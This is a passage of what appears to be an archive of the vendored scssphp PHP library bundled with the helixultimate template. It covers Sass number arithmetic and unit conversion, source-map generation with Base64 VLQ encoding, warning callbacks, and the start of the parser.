        } catch (SassScriptException $e) {
            return false;
        }
    }

    /**
     * @param Number $other
     *
     * @return bool
     */
    public function lessThan(Number $other)
    {
        return $this->coerceUnits($other, function ($num1, $num2) {
            return $num1 < $num2;
        });
    }

    /**
     * @param Number $other
     *
     * @return bool
     */
    public function lessThanOrEqual(Number $other)
    {
        return $this->coerceUnits($other, function ($num1, $num2) {
            return $num1 <= $num2;
        });
    }

    /**
     * @param Number $other
     *
     * @return bool
     */
    public function greaterThan(Number $other)
    {
        return $this->coerceUnits($other, function ($num1, $num2) {
            return $num1 > $num2;
        });
    }

    /**
     * @param Number $other
     *
     * @return bool
     */
    public function greaterThanOrEqual(Number $other)
    {
        return $this->coerceUnits($other, function ($num1, $num2) {
            return $num1 >= $num2;
        });
    }

    /**
     * @param Number $other
     *
     * @return Number
     */
    public function plus(Number $other)
    {
        return $this->coerceNumber($other, function ($num1, $num2) {
            return $num1 + $num2;
        });
    }

    /**
     * @param Number $other
     *
     * @return Number
     */
    public function minus(Number $other)
    {
        return $this->coerceNumber($other, function ($num1, $num2) {
            return $num1 - $num2;
        });
    }

    /**
     * @return Number
     */
    public function unaryMinus()
    {
        return new Number(-$this->dimension, $this->numeratorUnits, $this->denominatorUnits);
    }

    /**
     * @param Number $other
     *
     * @return Number
     */
    public function modulo(Number $other)
    {
        return $this->coerceNumber($other, function ($num1, $num2) {
            if ($num2 == 0) {
                return NAN;
            }

            $result = fmod($num1, $num2);

            if ($result == 0) {
                return 0;
            }

            if ($num2 < 0 xor $num1 < 0) {
                $result += $num2;
            }

            return $result;
        });
    }

    /**
     * @param Number $other
     *
     * @return Number
     */
    public function times(Number $other)
    {
        return $this->multiplyUnits($this->dimension * $other->dimension, $this->numeratorUnits, $this->denominatorUnits, $other->numeratorUnits, $other->denominatorUnits);
    }

    /**
     * @param Number $other
     *
     * @return Number
     */
    public function dividedBy(Number $other)
    {
        if ($other->dimension == 0) {
            if ($this->dimension == 0) {
                $value = NAN;
            } elseif ($this->dimension > 0) {
                $value = INF;
            } else {
                $value = -INF;
            }
        } else {
            $value = $this->dimension / $other->dimension;
        }

        return $this->multiplyUnits($value, $this->numeratorUnits, $this->denominatorUnits, $other->denominatorUnits, $other->numeratorUnits);
    }

    /**
     * @param Number $other
     *
     * @return bool
     */
    public function equals(Number $other)
    {
        // Unitless numbers are convertable to unit numbers, but not equal, so we special-case unitless here.
        if ($this->unitless() !== $other->unitless()) {
            return false;
        }

        // In Sass, neither NaN nor Infinity are equal to themselves, while PHP defines INF==INF
        if (is_nan($this->dimension) || is_nan($other->dimension) || !is_finite($this->dimension) || !is_finite($other->dimension)) {
            return false;
        }

        if ($this->unitless()) {
            return round($this->dimension, self::PRECISION) == round($other->dimension, self::PRECISION);
        }

        try {
            return $this->coerceUnits($other, function ($num1, $num2) {
                return round($num1,self::PRECISION) == round($num2, self::PRECISION);
            });
        } catch (SassScriptException $e) {
            return false;
        }
    }

    /**
     * Output number
     *
     * @param \ScssPhp\ScssPhp\Compiler $compiler
     *
     * @return string
     */
    public function output(Compiler $compiler = null)
    {
        $dimension = round($this->dimension, self::PRECISION);

        if (is_nan($dimension)) {
            return 'NaN';
        }

        if ($dimension === INF) {
            return 'Infinity';
        }

        if ($dimension === -INF) {
            return '-Infinity';
        }

        if ($compiler) {
            $unit = $this->unitStr();
        } elseif (isset($this->numeratorUnits[0])) {
            $unit = $this->numeratorUnits[0];
        } else {
            $unit = '';
        }

        $dimension = number_format($dimension, self::PRECISION, '.', '');

        return rtrim(rtrim($dimension, '0'), '.') . $unit;
    }

    /**
     * {@inheritdoc}
     */
    public function __toString()
    {
        return $this->output();
    }

    /**
     * @param Number   $other
     * @param callable $operation
     *
     * @return Number
     *
     * @phpstan-param callable(int|float, int|float): (int|float) $operation
     */
    private function coerceNumber(Number $other, $operation)
    {
        $result = $this->coerceUnits($other, $operation);

        if (!$this->unitless()) {
            return new Number($result, $this->numeratorUnits, $this->denominatorUnits);
        }

        return new Number($result, $other->numeratorUnits, $other->denominatorUnits);
    }

    /**
     * @param Number $other
     * @param callable $operation
     *
     * @return mixed
     *
     * @phpstan-template T
     * @phpstan-param callable(int|float, int|float): T $operation
     * @phpstan-return T
     */
    private function coerceUnits(Number $other, $operation)
    {
        if (!$this->unitless()) {
            $num1 = $this->dimension;
            $num2 = $other->valueInUnits($this->numeratorUnits, $this->denominatorUnits);
        } else {
            $num1 = $this->valueInUnits($other->numeratorUnits, $other->denominatorUnits);
            $num2 = $other->dimension;
        }

        return \call_user_func($operation, $num1, $num2);
    }

    /**
     * @param string[] $numeratorUnits
     * @param string[] $denominatorUnits
     *
     * @return int|float
     *
     * @phpstan-param list<string> $numeratorUnits
     * @phpstan-param list<string> $denominatorUnits
     *
     * @throws SassScriptException if this number's units are not compatible with $numeratorUnits and $denominatorUnits
     */
    private function valueInUnits(array $numeratorUnits, array $denominatorUnits)
    {
        if (
            $this->unitless()
            || (\count($numeratorUnits) === 0 && \count($denominatorUnits) === 0)
            || ($this->numeratorUnits === $numeratorUnits && $this->denominatorUnits === $denominatorUnits)
        ) {
            return $this->dimension;
        }

        $value = $this->dimension;
        $oldNumerators = $this->numeratorUnits;

        foreach ($numeratorUnits as $newNumerator) {
            foreach ($oldNumerators as $key => $oldNumerator) {
                $conversionFactor = self::getConversionFactor($newNumerator, $oldNumerator);

                if (\is_null($conversionFactor)) {
                    continue;
                }

                $value *= $conversionFactor;
                unset($oldNumerators[$key]);
                continue 2;
            }

            throw new SassScriptException(sprintf(
                'Incompatible units %s and %s.',
                self::getUnitString($this->numeratorUnits, $this->denominatorUnits),
                self::getUnitString($numeratorUnits, $denominatorUnits)
            ));
        }

        $oldDenominators = $this->denominatorUnits;

        foreach ($denominatorUnits as $newDenominator) {
            foreach ($oldDenominators as $key => $oldDenominator) {
                $conversionFactor = self::getConversionFactor($newDenominator, $oldDenominator);

                if (\is_null($conversionFactor)) {
                    continue;
                }

                $value /= $conversionFactor;
                unset($oldDenominators[$key]);
                continue 2;
            }

            throw new SassScriptException(sprintf(
                'Incompatible units %s and %s.',
                self::getUnitString($this->numeratorUnits, $this->denominatorUnits),
                self::getUnitString($numeratorUnits, $denominatorUnits)
            ));
        }

        if (\count($oldNumerators) || \count($oldDenominators)) {
            throw new SassScriptException(sprintf(
                'Incompatible units %s and %s.',
                self::getUnitString($this->numeratorUnits, $this->denominatorUnits),
                self::getUnitString($numeratorUnits, $denominatorUnits)
            ));
        }

        return $value;
    }

    /**
     * @param int|float $value
     * @param string[] $numerators1
     * @param string[] $denominators1
     * @param string[] $numerators2
     * @param string[] $denominators2
     *
     * @return Number
     *
     * @phpstan-param list<string> $numerators1
     * @phpstan-param list<string> $denominators1
     * @phpstan-param list<string> $numerators2
     * @phpstan-param list<string> $denominators2
     */
    private function multiplyUnits($value, array $numerators1, array $denominators1, array $numerators2, array $denominators2)
    {
        $newNumerators = array();

        foreach ($numerators1 as $numerator) {
            foreach ($denominators2 as $key => $denominator) {
                $conversionFactor = self::getConversionFactor($numerator, $denominator);

                if (\is_null($conversionFactor)) {
                    continue;
                }

                $value /= $conversionFactor;
                unset($denominators2[$key]);
                continue 2;
            }

            $newNumerators[] = $numerator;
        }

        foreach ($numerators2 as $numerator) {
            foreach ($denominators1 as $key => $denominator) {
                $conversionFactor = self::getConversionFactor($numerator, $denominator);

                if (\is_null($conversionFactor)) {
                    continue;
                }

                $value /= $conversionFactor;
                unset($denominators1[$key]);
                continue 2;
            }

            $newNumerators[] = $numerator;
        }

        $newDenominators = array_values(array_merge($denominators1, $denominators2));

        return new Number($value, $newNumerators, $newDenominators);
    }

    /**
     * Returns the number of [unit1]s per [unit2].
     *
     * Equivalently, `1unit1 * conversionFactor(unit1, unit2) = 1unit2`.
     *
     * @param string $unit1
     * @param string $unit2
     *
     * @return float|int|null
     */
    private static function getConversionFactor($unit1, $unit2)
    {
        if ($unit1 === $unit2) {
            return 1;
        }

        foreach (static::$unitTable as $unitVariants) {
            if (isset($unitVariants[$unit1]) && isset($unitVariants[$unit2])) {
                return $unitVariants[$unit1] / $unitVariants[$unit2];
            }
        }

        return null;
    }

    /**
     * Returns unit(s) as the product of numerator units divided by the product of denominator units
     *
     * @param string[] $numerators
     * @param string[] $denominators
     *
     * @phpstan-param list<string> $numerators
     * @phpstan-param list<string> $denominators
     *
     * @return string
     */
    private static function getUnitString(array $numerators, array $denominators)
    {
        if (!\count($numerators)) {
            if (\count($denominators) === 0) {
                return 'no units';
            }

            if (\count($denominators) === 1) {
                return $denominators[0] . '^-1';
            }

            return '(' . implode('*', $denominators) . ')^-1';
        }

        return implode('*', $numerators) . (\count($denominators) ? '/' . implode('*', $denominators) : '');
    }
}
PK!t���Ahelixultimate/vendor/scssphp/scssphp/src/Compiler/Environment.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Compiler;

/**
 * Compiler environment
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @internal
 */
class Environment
{
    /**
     * @var \ScssPhp\ScssPhp\Block|null
     */
    public $block;

    /**
     * @var \ScssPhp\ScssPhp\Compiler\Environment|null
     */
    public $parent;

    /**
     * @var array
     */
    public $store;

    /**
     * @var array
     */
    public $storeUnreduced;

    /**
     * @var integer
     */
    public $depth;
}
PK!���..Bhelixultimate/vendor/scssphp/scssphp/src/Compiler/CachedResult.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Compiler;

use ScssPhp\ScssPhp\CompilationResult;

/**
 * @internal
 */
class CachedResult
{
    /**
     * @var CompilationResult
     */
    private $result;

    /**
     * @var array<string, int>
     */
    private $parsedFiles;

    /**
     * @var array
     * @phpstan-var list<array{currentDir: string|null, path: string, filePath: string}>
     */
    private $resolvedImports;

    /**
     * @param CompilationResult  $result
     * @param array<string, int> $parsedFiles
     * @param array              $resolvedImports
     *
     * @phpstan-param list<array{currentDir: string|null, path: string, filePath: string}> $resolvedImports
     */
    public function __construct(CompilationResult $result, array $parsedFiles, array $resolvedImports)
    {
        $this->result = $result;
        $this->parsedFiles = $parsedFiles;
        $this->resolvedImports = $resolvedImports;
    }

    /**
     * @return CompilationResult
     */
    public function getResult()
    {
        return $this->result;
    }

    /**
     * @return array<string, int>
     */
    public function getParsedFiles()
    {
        return $this->parsedFiles;
    }

    /**
     * @return array
     *
     * @phpstan-return list<array{currentDir: string|null, path: string, filePath: string}>
     */
    public function getResolvedImports()
    {
        return $this->resolvedImports;
    }
}
PK!��9�-�-Ihelixultimate/vendor/scssphp/scssphp/src/SourceMap/SourceMapGenerator.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\SourceMap;

use ScssPhp\ScssPhp\Exception\CompilerException;

/**
 * Source Map Generator
 *
 * {@internal Derivative of oyejorge/less.php's lib/SourceMap/Generator.php, relicensed with permission. }}
 *
 * @author Josh Schmidt <oyejorge@gmail.com>
 * @author Nicolas FRANÇOIS <nicolas.francois@frog-labs.com>
 *
 * @internal
 */
class SourceMapGenerator
{
    /**
     * What version of source map does the generator generate?
     */
    const VERSION = 3;

    /**
     * Array of default options
     *
     * @var array
     * @phpstan-var array{sourceRoot: string, sourceMapFilename: string|null, sourceMapURL: string|null, sourceMapWriteTo: string|null, outputSourceFiles: bool, sourceMapRootpath: string, sourceMapBasepath: string}
     */
    protected $defaultOptions = [
        // an optional source root, useful for relocating source files
        // on a server or removing repeated values in the 'sources' entry.
        // This value is prepended to the individual entries in the 'source' field.
        'sourceRoot' => '',

        // an optional name of the generated code that this source map is associated with.
        'sourceMapFilename' => null,

        // url of the map
        'sourceMapURL' => null,

        // absolute path to a file to write the map to
        'sourceMapWriteTo' => null,

        // output source contents?
        'outputSourceFiles' => false,

        // base path for filename normalization
        'sourceMapRootpath' => '',

        // base path for filename normalization
        'sourceMapBasepath' => ''
    ];

    /**
     * The base64 VLQ encoder
     *
     * @var \ScssPhp\ScssPhp\SourceMap\Base64VLQ
     */
    protected $encoder;

    /**
     * Array of mappings
     *
     * @var array
     * @phpstan-var list<array{generated_line: int, generated_column: int, original_line: int, original_column: int, source_file: string}>
     */
    protected $mappings = [];

    /**
     * Array of contents map
     *
     * @var array
     */
    protected $contentsMap = [];

    /**
     * File to content map
     *
     * @var array<string, string>
     */
    protected $sources = [];

    /**
     * @var array<string, int>
     */
    protected $sourceKeys = [];

    /**
     * @var array
     * @phpstan-var array{sourceRoot: string, sourceMapFilename: string|null, sourceMapURL: string|null, sourceMapWriteTo: string|null, outputSourceFiles: bool, sourceMapRootpath: string, sourceMapBasepath: string}
     */
    private $options;

    /**
     * @phpstan-param array{sourceRoot?: string, sourceMapFilename?: string|null, sourceMapURL?: string|null, sourceMapWriteTo?: string|null, outputSourceFiles?: bool, sourceMapRootpath?: string, sourceMapBasepath?: string} $options
     */
    public function __construct(array $options = [])
    {
        $this->options = array_merge($this->defaultOptions, $options);
        $this->encoder = new Base64VLQ();
    }

    /**
     * Adds a mapping
     *
     * @param integer $generatedLine   The line number in generated file
     * @param integer $generatedColumn The column number in generated file
     * @param integer $originalLine    The line number in original file
     * @param integer $originalColumn  The column number in original file
     * @param string  $sourceFile      The original source file
     *
     * @return void
     */
    public function addMapping($generatedLine, $generatedColumn, $originalLine, $originalColumn, $sourceFile)
    {
        $this->mappings[] = [
            'generated_line'   => $generatedLine,
            'generated_column' => $generatedColumn,
            'original_line'    => $originalLine,
            'original_column'  => $originalColumn,
            'source_file'      => $sourceFile
        ];

        $this->sources[$sourceFile] = $sourceFile;
    }

    /**
     * Saves the source map to a file
     *
     * @param string $content The content to write
     *
     * @return string
     *
     * @throws \ScssPhp\ScssPhp\Exception\CompilerException If the file could not be saved
     * @deprecated
     */
    public function saveMap($content)
    {
        $file = $this->options['sourceMapWriteTo'];
        $dir  = \dirname($file);

        // directory does not exist
        if (! is_dir($dir)) {
            // FIXME: create the dir automatically?
            throw new CompilerException(
                sprintf('The directory "%s" does not exist. Cannot save the source map.', $dir)
            );
        }

        // FIXME: proper saving, with dir write check!
        if (file_put_contents($file, $content) === false) {
            throw new CompilerException(sprintf('Cannot save the source map to "%s"', $file));
        }

        return $this->options['sourceMapURL'];
    }

    /**
     * Generates the JSON source map
     *
     * @param string $prefix A prefix added in the output file, which needs to shift mappings
     *
     * @return string
     *
     * @see https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit#
     */
    public function generateJson($prefix = '')
    {
        $sourceMap = [];
        $mappings  = $this->generateMappings($prefix);

        // File version (always the first entry in the object) and must be a positive integer.
        $sourceMap['version'] = self::VERSION;

        // An optional name of the generated code that this source map is associated with.
        $file = $this->options['sourceMapFilename'];

        if ($file) {
            $sourceMap['file'] = $file;
        }

        // An optional source root, useful for relocating source files on a server or removing repeated values in the
        // 'sources' entry. This value is prepended to the individual entries in the 'source' field.
        $root = $this->options['sourceRoot'];

        if ($root) {
            $sourceMap['sourceRoot'] = $root;
        }

        // A list of original sources used by the 'mappings' entry.
        $sourceMap['sources'] = [];

        foreach ($this->sources as $sourceUri => $sourceFilename) {
            $sourceMap['sources'][] = $this->normalizeFilename($sourceFilename);
        }

        // A list of symbol names used by the 'mappings' entry.
        $sourceMap['names'] = [];

        // A string with the encoded mapping data.
        $sourceMap['mappings'] = $mappings;

        if ($this->options['outputSourceFiles']) {
            // An optional list of source content, useful when the 'source' can't be hosted.
            // The contents are listed in the same order as the sources above.
            // 'null' may be used if some original sources should be retrieved by name.
            $sourceMap['sourcesContent'] = $this->getSourcesContent();
        }

        // less.js compat fixes
        if (\count($sourceMap['sources']) && empty($sourceMap['sourceRoot'])) {
            unset($sourceMap['sourceRoot']);
        }

        return json_encode($sourceMap, JSON_UNESCAPED_SLASHES);
    }

    /**
     * Returns the sources contents
     *
     * @return string[]|null
     */
    protected function getSourcesContent()
    {
        if (empty($this->sources)) {
            return null;
        }

        $content = [];

        foreach ($this->sources as $sourceFile) {
            $content[] = file_get_contents($sourceFile);
        }

        return $content;
    }

    /**
     * Generates the mappings string
     *
     * @param string $prefix A prefix added in the output file, which needs to shift mappings
     *
     * @return string
     */
    public function generateMappings($prefix = '')
    {
        if (! \count($this->mappings)) {
            return '';
        }

        $prefixLines = substr_count($prefix, "\n");
        $lastPrefixNewLine = strrpos($prefix, "\n");
        $lastPrefixLineStart = false === $lastPrefixNewLine ? 0 : $lastPrefixNewLine + 1;
        $prefixColumn = strlen($prefix) - $lastPrefixLineStart;

        $this->sourceKeys = array_flip(array_keys($this->sources));

        // group mappings by generated line number.
        $groupedMap = $groupedMapEncoded = [];

        foreach ($this->mappings as $m) {
            $groupedMap[$m['generated_line']][] = $m;
        }

        ksort($groupedMap);

        $lastGeneratedLine = $lastOriginalIndex = $lastOriginalLine = $lastOriginalColumn = 0;

        foreach ($groupedMap as $lineNumber => $lineMap) {
            if ($lineNumber > 1) {
                // The prefix only impacts the column for the first line of the original output
                $prefixColumn = 0;
            }
            $lineNumber += $prefixLines;

            while (++$lastGeneratedLine < $lineNumber) {
                $groupedMapEncoded[] = ';';
            }

            $lineMapEncoded = [];
            $lastGeneratedColumn = 0;

            foreach ($lineMap as $m) {
                $generatedColumn = $m['generated_column'] + $prefixColumn;

                $mapEncoded = $this->encoder->encode($generatedColumn - $lastGeneratedColumn);
                $lastGeneratedColumn = $generatedColumn;

                // find the index
                if ($m['source_file']) {
                    $index = $this->findFileIndex($m['source_file']);

                    if ($index !== false) {
                        $mapEncoded .= $this->encoder->encode($index - $lastOriginalIndex);
                        $lastOriginalIndex = $index;
                        // lines are stored 0-based in SourceMap spec version 3
                        $mapEncoded .= $this->encoder->encode($m['original_line'] - 1 - $lastOriginalLine);
                        $lastOriginalLine = $m['original_line'] - 1;
                        $mapEncoded .= $this->encoder->encode($m['original_column'] - $lastOriginalColumn);
                        $lastOriginalColumn = $m['original_column'];
                    }
                }

                $lineMapEncoded[] = $mapEncoded;
            }

            $groupedMapEncoded[] = implode(',', $lineMapEncoded) . ';';
        }

        return rtrim(implode($groupedMapEncoded), ';');
    }

    /**
     * Finds the index for the filename
     *
     * @param string $filename
     *
     * @return integer|false
     */
    protected function findFileIndex($filename)
    {
        return $this->sourceKeys[$filename];
    }

    /**
     * Normalize filename
     *
     * @param string $filename
     *
     * @return string
     */
    protected function normalizeFilename($filename)
    {
        $filename = $this->fixWindowsPath($filename);
        $rootpath = $this->options['sourceMapRootpath'];
        $basePath = $this->options['sourceMapBasepath'];

        // "Trim" the 'sourceMapBasepath' from the output filename.
        if (\strlen($basePath) && strpos($filename, $basePath) === 0) {
            $filename = substr($filename, \strlen($basePath));
        }

        // Remove extra leading path separators.
        if (strpos($filename, '\\') === 0 || strpos($filename, '/') === 0) {
            $filename = substr($filename, 1);
        }

        return $rootpath . $filename;
    }

    /**
     * Fix windows paths
     *
     * @param string  $path
     * @param boolean $addEndSlash
     *
     * @return string
     */
    public function fixWindowsPath($path, $addEndSlash = false)
    {
        $slash = ($addEndSlash) ? '/' : '';

        if (! empty($path)) {
            $path = str_replace('\\', '/', $path);
            $path = rtrim($path, '/') . $slash;
        }

        return $path;
    }
}
PK!�8%��=helixultimate/vendor/scssphp/scssphp/src/SourceMap/Base64.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\SourceMap;

/**
 * Base 64 Encode/Decode
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @internal
 */
class Base64
{
    /**
     * @var array<int, string>
     */
    private static $encodingMap = [
        0 => 'A',
        1 => 'B',
        2 => 'C',
        3 => 'D',
        4 => 'E',
        5 => 'F',
        6 => 'G',
        7 => 'H',
        8 => 'I',
        9 => 'J',
        10 => 'K',
        11 => 'L',
        12 => 'M',
        13 => 'N',
        14 => 'O',
        15 => 'P',
        16 => 'Q',
        17 => 'R',
        18 => 'S',
        19 => 'T',
        20 => 'U',
        21 => 'V',
        22 => 'W',
        23 => 'X',
        24 => 'Y',
        25 => 'Z',
        26 => 'a',
        27 => 'b',
        28 => 'c',
        29 => 'd',
        30 => 'e',
        31 => 'f',
        32 => 'g',
        33 => 'h',
        34 => 'i',
        35 => 'j',
        36 => 'k',
        37 => 'l',
        38 => 'm',
        39 => 'n',
        40 => 'o',
        41 => 'p',
        42 => 'q',
        43 => 'r',
        44 => 's',
        45 => 't',
        46 => 'u',
        47 => 'v',
        48 => 'w',
        49 => 'x',
        50 => 'y',
        51 => 'z',
        52 => '0',
        53 => '1',
        54 => '2',
        55 => '3',
        56 => '4',
        57 => '5',
        58 => '6',
        59 => '7',
        60 => '8',
        61 => '9',
        62 => '+',
        63 => '/',
    ];

    /**
     * @var array<string|int, int>
     */
    private static $decodingMap = [
        'A' => 0,
        'B' => 1,
        'C' => 2,
        'D' => 3,
        'E' => 4,
        'F' => 5,
        'G' => 6,
        'H' => 7,
        'I' => 8,
        'J' => 9,
        'K' => 10,
        'L' => 11,
        'M' => 12,
        'N' => 13,
        'O' => 14,
        'P' => 15,
        'Q' => 16,
        'R' => 17,
        'S' => 18,
        'T' => 19,
        'U' => 20,
        'V' => 21,
        'W' => 22,
        'X' => 23,
        'Y' => 24,
        'Z' => 25,
        'a' => 26,
        'b' => 27,
        'c' => 28,
        'd' => 29,
        'e' => 30,
        'f' => 31,
        'g' => 32,
        'h' => 33,
        'i' => 34,
        'j' => 35,
        'k' => 36,
        'l' => 37,
        'm' => 38,
        'n' => 39,
        'o' => 40,
        'p' => 41,
        'q' => 42,
        'r' => 43,
        's' => 44,
        't' => 45,
        'u' => 46,
        'v' => 47,
        'w' => 48,
        'x' => 49,
        'y' => 50,
        'z' => 51,
        0 => 52,
        1 => 53,
        2 => 54,
        3 => 55,
        4 => 56,
        5 => 57,
        6 => 58,
        7 => 59,
        8 => 60,
        9 => 61,
        '+' => 62,
        '/' => 63,
    ];

    /**
     * Convert to base64
     *
     * @param integer $value
     *
     * @return string
     */
    public static function encode($value)
    {
        return self::$encodingMap[$value];
    }

    /**
     * Convert from base64
     *
     * @param string $value
     *
     * @return integer
     */
    public static function decode($value)
    {
        return self::$decodingMap[$value];
    }
}
PK!�H���@helixultimate/vendor/scssphp/scssphp/src/SourceMap/Base64VLQ.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\SourceMap;

/**
 * Base 64 VLQ
 *
 * Based on the Base 64 VLQ implementation in Closure Compiler:
 * https://github.com/google/closure-compiler/blob/master/src/com/google/debugging/sourcemap/Base64VLQ.java
 *
 * Copyright 2011 The Closure Compiler Authors.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * @author John Lenz <johnlenz@google.com>
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @internal
 */
class Base64VLQ
{
    // A Base64 VLQ digit can represent 5 bits, so it is base-32.
    const VLQ_BASE_SHIFT = 5;

    // A mask of bits for a VLQ digit (11111), 31 decimal.
    const VLQ_BASE_MASK = 31;

    // The continuation bit is the 6th bit.
    const VLQ_CONTINUATION_BIT = 32;

    /**
     * Returns the VLQ encoded value.
     *
     * @param integer $value
     *
     * @return string
     */
    public static function encode($value)
    {
        $encoded = '';
        $vlq = self::toVLQSigned($value);

        do {
            $digit = $vlq & self::VLQ_BASE_MASK;

            //$vlq >>>= self::VLQ_BASE_SHIFT; // unsigned right shift
            $vlq = (($vlq >> 1) & PHP_INT_MAX) >> (self::VLQ_BASE_SHIFT - 1);

            if ($vlq > 0) {
                $digit |= self::VLQ_CONTINUATION_BIT;
            }

            $encoded .= Base64::encode($digit);
        } while ($vlq > 0);

        return $encoded;
    }

    /**
     * Decodes VLQValue.
     *
     * @param string $str
     * @param integer $index
     *
     * @return integer
     */
    public static function decode($str, &$index)
    {
        $result = 0;
        $shift = 0;

        do {
            $c = $str[$index++];
            $digit = Base64::decode($c);
            $continuation = ($digit & self::VLQ_CONTINUATION_BIT) != 0;
            $digit &= self::VLQ_BASE_MASK;
            $result = $result + ($digit << $shift);
            $shift = $shift + self::VLQ_BASE_SHIFT;
        } while ($continuation);

        return self::fromVLQSigned($result);
    }

    /**
     * Converts from a two-complement value to a value where the sign bit is
     * is placed in the least significant bit.  For example, as decimals:
     *   1 becomes 2 (10 binary), -1 becomes 3 (11 binary)
     *   2 becomes 4 (100 binary), -2 becomes 5 (101 binary)
     *
     * @param integer $value
     *
     * @return integer
     */
    private static function toVLQSigned($value)
    {
        if ($value < 0) {
            return ((-$value) << 1) + 1;
        }

        return ($value << 1) + 0;
    }

    /**
     * Converts to a two-complement value from a value where the sign bit is
     * is placed in the least significant bit.  For example, as decimals:
     *   2 (10 binary) becomes 1, 3 (11 binary) becomes -1
     *   4 (100 binary) becomes 2, 5 (101 binary) becomes -2
     *
     * @param integer $value
     *
     * @return integer
     */
    private static function fromVLQSigned($value)
    {
        $negate = ($value & 1) === 1;

        //$value >>>= 1; // unsigned right shift
        $value = ($value >> 1) & PHP_INT_MAX;

        if (! $negate) {
            return $value;
        }

        // We need to OR 0x80000000 here to ensure the 32nd bit (the sign bit) is
        // always set for negative numbers. If `value` were 1, (meaning `negate` is
        // true and all other bits were zeros), `value` would now be 0. -0 is just
        // 0, and doesn't flip the 32nd bit as intended. All positive numbers will
        // successfully flip the 32nd bit without issue, so it's a noop for them.
        return -$value | 0x80000000;
    }
}
PK!���D��1helixultimate/vendor/scssphp/scssphp/src/Warn.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

final class Warn
{
    /**
     * @var callable|null
     * @phpstan-var (callable(string, bool): void)|null
     */
    private static $callback;

    /**
     * Prints a warning message associated with the current `@import` or function call.
     *
     * This may only be called within a custom function or importer callback.
     *
     * @param string $message
     *
     * @return void
     */
    public static function warning($message)
    {
        self::reportWarning($message, false);
    }

    /**
     * Prints a deprecation warning message associated with the current `@import` or function call.
     *
     * This may only be called within a custom function or importer callback.
     *
     * @param string $message
     *
     * @return void
     */
    public static function deprecation($message)
    {
        self::reportWarning($message, true);
    }

    /**
     * @param callable|null $callback
     *
     * @return callable|null The previous warn callback
     *
     * @phpstan-param (callable(string, bool): void)|null $callback
     *
     * @phpstan-return (callable(string, bool): void)|null
     *
     * @internal
     */
    public static function setCallback(callable $callback = null)
    {
        $previousCallback = self::$callback;
        self::$callback = $callback;

        return $previousCallback;
    }

    /**
     * @param string $message
     * @param bool   $deprecation
     *
     * @return void
     */
    private static function reportWarning($message, $deprecation)
    {
        if (self::$callback === null) {
            throw new \BadMethodCallException('The warning Reporter may only be called within a custom function or importer callback.');
        }

        \call_user_func(self::$callback, $message, $deprecation);
    }
}
PK!x#1_�_�3helixultimate/vendor/scssphp/scssphp/src/Parser.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

use ScssPhp\ScssPhp\Exception\ParserException;
use ScssPhp\ScssPhp\Logger\LoggerInterface;
use ScssPhp\ScssPhp\Logger\QuietLogger;

/**
 * Parser
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 *
 * @internal
 */
class Parser
{
    const SOURCE_INDEX  = -1;
    const SOURCE_LINE   = -2;
    const SOURCE_COLUMN = -3;

    /**
     * @var array<string, int>
     */
    protected static $precedence = [
        '='   => 0,
        'or'  => 1,
        'and' => 2,
        '=='  => 3,
        '!='  => 3,
        '<='  => 4,
        '>='  => 4,
        '<'   => 4,
        '>'   => 4,
        '+'   => 5,
        '-'   => 5,
        '*'   => 6,
        '/'   => 6,
        '%'   => 6,
    ];

    /**
     * @var string
     */
    protected static $commentPattern;
    /**
     * @var string
     */
    protected static $operatorPattern;
    /**
     * @var string
     */
    protected static $whitePattern;

    /**
     * @var Cache|null
     */
    protected $cache;

    private $sourceName;
    private $sourceIndex;
    /**
     * @var array<int, int>
     */
    private $sourcePositions;
    /**
     * @var array|null
     */
    private $charset;
    /**
     * The current offset in the buffer
     *
     * @var int
     */
    private $count;
    /**
     * @var Block|null
     */
    private $env;
    /**
     * @var bool
     */
    private $inParens;
    /**
     * @var bool
     */
    private $eatWhiteDefault;
    /**
     * @var bool
     */
    private $discardComments;
    private $allowVars;
    /**
     * @var string
     */
    private $buffer;
    private $utf8;
    /**
     * @var string|null
     */
    private $encoding;
    private $patternModifiers;
    private $commentsSeen;

    private $cssOnly;

    /**
     * @var LoggerInterface
     */
    private $logger;

    /**
     * Constructor
     *
     * @api
     *
     * @param string|null          $sourceName
